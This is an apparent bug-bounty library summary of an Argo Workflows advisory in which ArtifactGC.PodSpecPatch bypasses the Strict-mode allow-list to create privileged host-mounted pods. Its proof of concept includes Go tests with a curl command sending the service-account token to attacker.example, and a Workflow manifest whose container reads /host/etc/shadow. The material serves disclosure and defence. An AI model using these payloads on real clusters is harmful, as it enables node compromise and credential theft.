# Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892)

Argo Workflows' Strict/Secure allow-list only checks top-level WorkflowSpec fields, so ArtifactGC.PodSpecPatch still injects a strategic merge patch into the artifact-GC pod, yielding privileged hostPath/hostNetwork pods.

- Payout: Research
- Severity: high
- Program: Argo Workflows
- Found by: fg0x0, 0xVijay, mosskappa, tonghuaroot
- Disclosed: 2026-08-13
- CVE: CVE-2026-54526
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-48p8-g2fx-3wwm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-48p8-g2fx-3wwm
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:incomplete-fix technique:source-review vuln:access-control vuln:misconfiguration vuln:privilege-escalation

**Target:** Kubernetes controller artifact-GC pod creation (workflow/util merge allow-list)
**Root cause:** ValidateUserOverrides/SanitizeUserWorkflowSpec walk only top-level WorkflowSpec fields via reflection, so the allow-listed ArtifactGC field's PodSpecPatch sub-field passes through unmodified into util.ApplyPodSpecPatch, the same sink the original CVE fix closed for WorkflowSpec.PodSpecPatch.
**Steps:**
1. Configure controller with `workflowRestrictions.templateReferencing: Strict`.
2. Create a WorkflowTemplate with a template declaring `outputs.artifacts`.
3. Submit a Workflow with `workflowTemplateRef` plus `artifactGC.strategy: OnWorkflowCompletion` and `artifactGC.podSpecPatch` containing a strategic merge patch (attacker image/command, `privileged: true`, `hostPath: {path: /}`, `hostNetwork: true`).
4. Observe ValidateUserOverrides returns no error and SanitizeUserWorkflowSpec preserves the patch.
5. On workflow completion the controller builds the artifact-GC pod and applies the patch via `util.ApplyPodSpecPatch`, overriding MinimalCtrSC and mounting the node root.
**How found:** Followed the incomplete-fix trail: the original CVE-2026-31892 fix allow-listed WorkflowSpec fields by reflection at top level only; noticing ArtifactGC was allow-listed wholesale and its struct contains a PodSpecPatch field feeding the same ApplyPodSpecPatch sink, then confirming no validation exists between sanitize and sink and that the fix's tests only cover the top-level field.
**Exploitation:** A user with only workflow-submit rights under Strict/Secure mode submits a Workflow referencing an admin template that emits artifacts, supplying artifactGC.podSpecPatch. The controller applies it to the artifact-GC pod, which has AutomountServiceAccountToken: true, so the attacker-chosen image runs with the pod's service-account token, privileged/SYS_ADMIN, hostPath / and hostNetwork — node filesystem access and token exfiltration.
**Escalation:** Chains from a low-privileged workflow submitter to node-level filesystem access and service-account token theft, defeating the Strict-mode isolation boundary.
**Insight:** When a fix allow-lists whole struct fields by name via reflection, enumerate every sub-field of each allow-listed type and trace each to its sink — nested patch/config strings inside allow-listed structs are the classic incomplete-fix gap.

## Proof of concept (copied exactly from the original report)

**Go test showing ArtifactGC.PodSpecPatch passes allow-list**

```
func TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) {
    attackerPatch := `{"containers":[{"name":"main","image":"attacker/evil:latest",` +
        `"command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}],` +
        `"hostNetwork":true}`
    userSpec := &wfv1.WorkflowSpec{
        WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
        ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
            PodSpecPatch: attackerPatch,
        },
    }

    // Gate 1: allow-list. Expected to reject - does not.
    require.NoError(t, ValidateUserOverrides(userSpec))

    // Gate 2: sanitizer defense-in-depth. Expected to strip - does not.
    sanitized := SanitizeUserWorkflowSpec(userSpec)
    assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch)
}
```

**Go test showing patch reaches ApplyPodSpecPatch sink**

```
func TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) {
    attackerPatch := `
containers:
- name: main
  image: attacker/evil:latest
  command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]
  securityContext:
    privileged: true
    runAsUser: 0
    runAsNonRoot: false
    allowPrivilegeEscalation: true
    capabilities: {drop: null, add: [SYS_ADMIN]}
    readOnlyRootFilesystem: false
hostNetwork: true
volumes:
- name: hostroot
  hostPath: {path: /}
`
    userSpec := &wfv1.WorkflowSpec{
        WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
        ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
            PodSpecPatch: attackerPatch,
        },
    }
    require.NoError(t, ValidateUserOverrides(userSpec))
    sanitized := SanitizeUserWorkflowSpec(userSpec)

    // Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod.
    basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ }

    patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch)
    require.NoError(t, err)

    assert.Equal(t, "attacker/evil:latest",     patched.Containers[0].Image)
    assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged)
    assert.Equal(t, true, patched.HostNetwork)
    assert.Equal(t, "/",  patched.Volumes[0].HostPath.Path)
}
```

**End-to-end Workflow manifest with malicious artifactGC podSpecPatch**

```
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata: {name: safe-template}
spec:
  entrypoint: main
  templates:
    - name: main
      container: {image: argoexec:latest, command: [echo, hello]}
      outputs:
        artifacts:
          - {name: artifact, path: /tmp/artifact}
---
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata: {generateName: bypass-}
spec:
  workflowTemplateRef: {name: safe-template}
  artifactGC:
    strategy: OnWorkflowCompletion
    podSpecPatch: |
      containers:
      - name: main
        image: attacker/evil:latest
        command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"]
      hostNetwork: true
      volumes:
      - name: hostroot
        hostPath: {path: /}
```

